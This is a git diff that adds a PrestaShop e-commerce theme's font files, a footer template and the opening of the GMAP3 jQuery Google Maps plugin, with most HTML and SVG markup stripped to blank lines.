        [Questions produits]

        +
        +

        Pschitt Magique

        + +
        +
        +

        Pschitt Magique 2

        + +
        +
        + *} \ No newline at end of file diff --git a/themes/default/font/FontAwesome.otf b/themes/default/font/FontAwesome.otf new file mode 100755 index 0000000..7012545 Binary files /dev/null and b/themes/default/font/FontAwesome.otf differ diff --git a/themes/default/font/FuturaStd-Light.eot b/themes/default/font/FuturaStd-Light.eot new file mode 100755 index 0000000..30f1d61 Binary files /dev/null and b/themes/default/font/FuturaStd-Light.eot differ diff --git a/themes/default/font/FuturaStd-Light.otf b/themes/default/font/FuturaStd-Light.otf new file mode 100755 index 0000000..b891fba Binary files /dev/null and b/themes/default/font/FuturaStd-Light.otf differ diff --git a/themes/default/font/FuturaStd-Light.svg b/themes/default/font/FuturaStd-Light.svg new file mode 100755 index 0000000..c406008 --- /dev/null +++ b/themes/default/font/FuturaStd-Light.svg @@ -0,0 +1,924 @@ + + + + +Created by FontForge 20110222 at Wed Feb 12 15:47:07 2014 + By deploy user +Copyright (c) 1987, 1991, 1993, 2002 Adobe Systems Incorporated. All Rights Reserved. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/themes/default/font/FuturaStd-Light.ttf b/themes/default/font/FuturaStd-Light.ttf new file mode 100755 index 0000000..90c1b29 Binary files /dev/null and b/themes/default/font/FuturaStd-Light.ttf differ diff --git a/themes/default/font/FuturaStd-Light.woff b/themes/default/font/FuturaStd-Light.woff new file mode 100755 index 0000000..7220a07 Binary files /dev/null and b/themes/default/font/FuturaStd-Light.woff differ diff --git a/themes/default/font/FuturaStd-Medium.eot b/themes/default/font/FuturaStd-Medium.eot new file mode 100755 index 0000000..0b6d3eb Binary files /dev/null and b/themes/default/font/FuturaStd-Medium.eot differ diff --git a/themes/default/font/FuturaStd-Medium.ttf b/themes/default/font/FuturaStd-Medium.ttf new file mode 100755 index 0000000..c73aa6e Binary files /dev/null and b/themes/default/font/FuturaStd-Medium.ttf differ diff --git a/themes/default/font/FuturaStd-Medium.woff b/themes/default/font/FuturaStd-Medium.woff new file mode 100755 index 0000000..88feb73 Binary files /dev/null and b/themes/default/font/FuturaStd-Medium.woff differ diff --git a/themes/default/font/fontawesome-webfont.eot b/themes/default/font/fontawesome-webfont.eot new file mode 100755 index 0000000..0662cb9 Binary files /dev/null and b/themes/default/font/fontawesome-webfont.eot differ diff --git a/themes/default/font/fontawesome-webfont.svg b/themes/default/font/fontawesome-webfont.svg new file mode 100755 index 0000000..2edb4ec --- /dev/null +++ b/themes/default/font/fontawesome-webfont.svg @@ -0,0 +1,399 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/fontawesome-webfont.ttf b/themes/default/font/fontawesome-webfont.ttf new file mode 100755 index 0000000..d365924 Binary files /dev/null and b/themes/default/font/fontawesome-webfont.ttf differ diff --git a/themes/default/font/fontawesome-webfont.woff b/themes/default/font/fontawesome-webfont.woff new file mode 100755 index 0000000..b9bd17e Binary files /dev/null and b/themes/default/font/fontawesome-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proxima_nova_black-webfont.eot b/themes/default/font/proxima-nova/proxima_nova_black-webfont.eot new file mode 100755 index 0000000..68f490d Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_black-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proxima_nova_black-webfont.eot? b/themes/default/font/proxima-nova/proxima_nova_black-webfont.eot? new file mode 100755 index 0000000..68f490d Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_black-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proxima_nova_black-webfont.svg b/themes/default/font/proxima-nova/proxima_nova_black-webfont.svg new file mode 100755 index 0000000..51a6085 --- /dev/null +++ b/themes/default/font/proxima-nova/proxima_nova_black-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proxima_nova_black-webfont.ttf b/themes/default/font/proxima-nova/proxima_nova_black-webfont.ttf new file mode 100755 index 0000000..a2afdb7 Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_black-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proxima_nova_black-webfont.woff b/themes/default/font/proxima-nova/proxima_nova_black-webfont.woff new file mode 100755 index 0000000..8190cfe Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_black-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.eot b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.eot new file mode 100755 index 0000000..b15ce55 Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.eot? b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.eot? new file mode 100755 index 0000000..b15ce55 Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.svg b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.svg new file mode 100755 index 0000000..107f2d4 --- /dev/null +++ b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.ttf b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.ttf new file mode 100755 index 0000000..856602c Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.woff b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.woff new file mode 100755 index 0000000..ec222cb Binary files /dev/null and b/themes/default/font/proxima-nova/proxima_nova_extrabold-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proximanova-light-webfont.eot b/themes/default/font/proxima-nova/proximanova-light-webfont.eot new file mode 100755 index 0000000..a4fd3c6 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-light-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proximanova-light-webfont.eot? b/themes/default/font/proxima-nova/proximanova-light-webfont.eot? new file mode 100755 index 0000000..a4fd3c6 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-light-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proximanova-light-webfont.svg b/themes/default/font/proxima-nova/proximanova-light-webfont.svg new file mode 100755 index 0000000..330252f --- /dev/null +++ b/themes/default/font/proxima-nova/proximanova-light-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proximanova-light-webfont.ttf b/themes/default/font/proxima-nova/proximanova-light-webfont.ttf new file mode 100755 index 0000000..c78cf1e Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-light-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proximanova-light-webfont.woff b/themes/default/font/proxima-nova/proximanova-light-webfont.woff new file mode 100755 index 0000000..3003005 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-light-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.eot b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.eot new file mode 100755 index 0000000..3e75f75 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.eot? b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.eot? new file mode 100755 index 0000000..3e75f75 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.svg b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.svg new file mode 100755 index 0000000..c842c2e --- /dev/null +++ b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.ttf b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.ttf new file mode 100755 index 0000000..feb6f7f Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.woff b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.woff new file mode 100755 index 0000000..865375c Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-lightitalic-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proximanova-reg-webfont.eot b/themes/default/font/proxima-nova/proximanova-reg-webfont.eot new file mode 100755 index 0000000..1532faa Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-reg-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proximanova-reg-webfont.eot? b/themes/default/font/proxima-nova/proximanova-reg-webfont.eot? new file mode 100755 index 0000000..1532faa Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-reg-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proximanova-reg-webfont.svg b/themes/default/font/proxima-nova/proximanova-reg-webfont.svg new file mode 100755 index 0000000..8be6afb --- /dev/null +++ b/themes/default/font/proxima-nova/proximanova-reg-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proximanova-reg-webfont.ttf b/themes/default/font/proxima-nova/proximanova-reg-webfont.ttf new file mode 100755 index 0000000..3e32e45 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-reg-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proximanova-reg-webfont.woff b/themes/default/font/proxima-nova/proximanova-reg-webfont.woff new file mode 100755 index 0000000..96a9bfd Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-reg-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proximanova-regitalic-webfont.eot b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.eot new file mode 100755 index 0000000..50c5254 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proximanova-regitalic-webfont.eot? b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.eot? new file mode 100755 index 0000000..50c5254 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proximanova-regitalic-webfont.svg b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.svg new file mode 100755 index 0000000..ca73056 --- /dev/null +++ b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proximanova-regitalic-webfont.ttf b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.ttf new file mode 100755 index 0000000..0ad3c9c Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proximanova-regitalic-webfont.woff b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.woff new file mode 100755 index 0000000..33a1078 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-regitalic-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proximanova-sbold-webfont.eot b/themes/default/font/proxima-nova/proximanova-sbold-webfont.eot new file mode 100755 index 0000000..f80e14f Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbold-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proximanova-sbold-webfont.eot? b/themes/default/font/proxima-nova/proximanova-sbold-webfont.eot? new file mode 100755 index 0000000..f80e14f Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbold-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proximanova-sbold-webfont.svg b/themes/default/font/proxima-nova/proximanova-sbold-webfont.svg new file mode 100755 index 0000000..bc67db2 --- /dev/null +++ b/themes/default/font/proxima-nova/proximanova-sbold-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proximanova-sbold-webfont.ttf b/themes/default/font/proxima-nova/proximanova-sbold-webfont.ttf new file mode 100755 index 0000000..fd766ca Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbold-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proximanova-sbold-webfont.woff b/themes/default/font/proxima-nova/proximanova-sbold-webfont.woff new file mode 100755 index 0000000..5f6c794 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbold-webfont.woff differ diff --git a/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.eot b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.eot new file mode 100755 index 0000000..923e683 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.eot differ diff --git a/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.eot? b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.eot? new file mode 100755 index 0000000..923e683 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.eot? differ diff --git a/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.svg b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.svg new file mode 100755 index 0000000..0c4691a --- /dev/null +++ b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.svg @@ -0,0 +1,251 @@ + + + + +This is a custom SVG webfont generated by Font Squirrel. +Copyright : Copyright c Mark Simonson 2005 All rights reserved +Designer : Mark Simonson +Foundry URL : httpwwwmarksimonsoncom + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.ttf b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.ttf new file mode 100755 index 0000000..240943b Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.ttf differ diff --git a/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.woff b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.woff new file mode 100755 index 0000000..bc57a48 Binary files /dev/null and b/themes/default/font/proxima-nova/proximanova-sbolditalic-webfont.woff differ diff --git a/themes/default/font/trajan/trajanpro-regular.eot b/themes/default/font/trajan/trajanpro-regular.eot new file mode 100755 index 0000000..61ecbd5 Binary files /dev/null and b/themes/default/font/trajan/trajanpro-regular.eot differ diff --git a/themes/default/font/trajan/trajanpro-regular.svg b/themes/default/font/trajan/trajanpro-regular.svg new file mode 100755 index 0000000..956547a Binary files /dev/null and b/themes/default/font/trajan/trajanpro-regular.svg differ diff --git a/themes/default/font/trajan/trajanpro-regular.ttf b/themes/default/font/trajan/trajanpro-regular.ttf new file mode 100755 index 0000000..b22d51b Binary files /dev/null and b/themes/default/font/trajan/trajanpro-regular.ttf differ diff --git a/themes/default/font/trajan/trajanpro-regular.woff b/themes/default/font/trajan/trajanpro-regular.woff new file mode 100755 index 0000000..ecfed6d Binary files /dev/null and b/themes/default/font/trajan/trajanpro-regular.woff differ diff --git a/themes/default/footer.tpl b/themes/default/footer.tpl new file mode 100755 index 0000000..1f5cacb --- /dev/null +++ b/themes/default/footer.tpl @@ -0,0 +1,138 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + {if !$content_only} +
        + + +
        + {$HOOK_RIGHT_COLUMN} +
        +
        +
        + + + + {/if} + + + + + + + {if $page_name == 'order-confirmation'} + + {/if} + + {if $page_name == 'search'} + + {/if} + + {if $page_name == 'product' || $page_name == 'category'} + + {/if} + + {if Tools::getValue('finish_registration', false)} + + {/if} + + {if isset($orderStep) && $orderStep == 3} + {literal}{/literal} + {/if} + + diff --git a/themes/default/gmap.js b/themes/default/gmap.js new file mode 100755 index 0000000..4ffe85b --- /dev/null +++ b/themes/default/gmap.js @@ -0,0 +1,2222 @@ +/* + * GMAP3 Plugin for JQuery + * Version : 4.1 + * Date : 2011-11-18 + * Licence : GPL v3 : http://www.gnu.org/licenses/gpl.html + * Author : DEMONTE Jean-Baptiste + * Contact : jbdemonte@gmail.com + * Web site : http://gmap3.net + * + * Copyright (c) 2010-2011 Jean-Baptiste DEMONTE + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following + * disclaimer in the documentation and/or other materials provided + * with the distribution. + * - Neither the name of the author nor the names of its contributors + * may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + + (function ($) { + + /***************************************************************************/ + /* STACK */ + /***************************************************************************/ + function Stack (){ + var st = []; + this.empty = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]){ + return false + } + } + return true; + } + this.add = function(v){ + st.push(v); + } + this.addNext = function ( v){ + var t=[], i, k = 0; + for(i = 0; i < st.length; i++){ + if (!st[i]){ + continue; + } + if (k == 1) { + t.push(v); + } + t.push(st[i]); + k++; + } + if (k < 2) { + t.push(v); + } + st = t; + } + this.get = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]) { + return st[i]; + } + } + return false; + } + this.ack = function (){ + for(var i = 0; i < st.length; i++){ + if (st[i]) { + delete st[i]; + break; + } + } + if (this.empty()){ + st = []; + } + } + } + + /***************************************************************************/ + /* STORE */ + /***************************************************************************/ + function Store(){ + var store = {}; + + /** + * add a mixed to the store + **/ + this.add = function(name, obj, todo){ + name = name.toLowerCase(); + if (!store[name]){ + store[name] = []; + } + store[name].push({obj:obj, tag:ival(todo, 'tag')}); + return name + '-' + (store[name].length-1); + } + + /** + * return a stored mixed + **/ + this.get = function(name, last, tag){ + var i, idx, add; + name = name.toLowerCase(); + if (!store[name] || !store[name].length){ + return null; + } + idx = last ? store[name].length : -1; + add = last ? -1 : 1; + for(i=0; i= 0; idx--){ + if ( (store[name][idx] !== undefined) && (store[name][idx].tag !== undefined) && ($.inArray(store[name][idx].tag, tag) >= 0) ){ + break; + } + } + } else { + for(idx = 0; idx < store[name].length; idx++){ + if ( (store[name][idx] !== undefined) && (store[name][idx].tag !== undefined) && ($.inArray(store[name][idx].tag, tag) >= 0) ){ + break; + } + } + } + } else { + idx = pop ? store[name].length - 1 : 0; + } + if ( !(idx in store[name]) ) { + return false; + } + // Google maps element + if (typeof(store[name][idx].obj.setMap) === 'function') { + store[name][idx].obj.setMap(null); + } + // jQuery + if (typeof(store[name][idx].obj.remove) === 'function') { + store[name][idx].obj.remove(); + } + // internal (cluster) + if (typeof(store[name][idx].obj.free) === 'function') { + store[name][idx].obj.free(); + } + delete store[name][idx].obj; + if (tag !== undefined){ + tmp = []; + for(i=0; i= 0){ + same[j] = true; + } else { + this.freeIndex(i); + } + } + return same; + } + + this.add = function(latLng, marker){ + markers.push({latLng:latLng, marker:marker}); + } + + this.get = function(i){ + return markers[i]; + } + + this.clusters = function(map, radius, maxZoom, force){ + var proj = map.getProjection(), + nwP = proj.fromLatLngToPoint( + new google.maps.LatLng( + map.getBounds().getNorthEast().lat(), + map.getBounds().getSouthWest().lng() + ) + ), + i, j, j2, p, x, y, k, k2, + z = map.getZoom(), + pos = {}, + saved = {}, + unik = {}, + clusters = [], + cluster, + chk, + lat, lng, keys, cnt, + bounds = map.getBounds(), + noClusters = maxZoom && (maxZoom <= map.getZoom()), + chkContain = map.getZoom() > 2; + + cnt = 0; + keys = {}; + for(i = 0; i < markers.length; i++){ + if (chkContain && !bounds.contains(markers[i].latLng)){ + continue; + } + p = proj.fromLatLngToPoint(markers[i].latLng); + pos[i] = [ + Math.floor((p.x - nwP.x) * Math.pow(2, z)), + Math.floor((p.y - nwP.y) * Math.pow(2, z)) + ]; + keys[i] = true; + cnt++; + } + // check if visible markers have changed + if (!force && !noClusters){ + for(k = 0; k < latest.length; k++){ + if( k in keys ){ + cnt--; + } else { + break; + } + } + if (!cnt){ + return false; // no change + } + } + + // save current keys to check later if an update has been done + latest = keys; + + keys = []; + for(i in pos){ + x = pos[i][0]; + y = pos[i][1]; + if ( !(x in saved) ){ + saved[x] = {}; + } + if (!( y in saved[x]) ) { + saved[x][y] = i; + unik[i] = {}; + keys.push(i); + } + unik[ saved[x][y] ][i] = true; + } + radius = Math.pow(radius, 2); + delete(saved); + + k = 0; + while(1){ + while((k 1; + saved = cluster; + } else { + chk = cluster.idx.length > saved.idx.length; + if (chk){ + saved = cluster; + } + } + if (chk){ + p = proj.fromLatLngToPoint( new google.maps.LatLng(saved.lat, saved.lng) ); + lat = Math.floor((p.x - nwP.x) * Math.pow(2, z)); + lng = Math.floor((p.y - nwP.y) * Math.pow(2, z)); + } + } while(chk); + } + + for(k2 = 0; k2 < saved.idx.length; k2++){ + if (saved.idx[k2] in unik){ + delete(unik[saved.idx[k2]]); + } + } + clusters.push(saved); + } + return clusters; + } + + this.getBounds = function(){ + var i, bounds = new google.maps.LatLngBounds(); + for(i=0; i { eventName => function, } + * onces => { eventName => function, } + * data => mixed data + * ] + **/ + this._attachEvents = function(sender, todo){ + var name; + if (!todo) { + return + } + if (todo.events){ + for(name in todo.events){ + if (typeof(todo.events[name]) === 'function'){ + this._attachEvent(sender, name, todo.events[name], todo.data, false); + } + } + } + if (todo.onces){ + for(name in todo.onces){ + if (typeof(todo.onces[name]) === 'function'){ + this._attachEvent(sender, name, todo.onces[name], todo.data, true); + } + } + } + } + + /** + * execute callback functions + **/ + this._callback = function(result, todo){ + if (typeof(todo.callback) === 'function') { + todo.callback.apply($this, [result]); + } else if (typeof(todo.callback) === 'object') { + for(var i=0; i bounds not available + // wait for map + 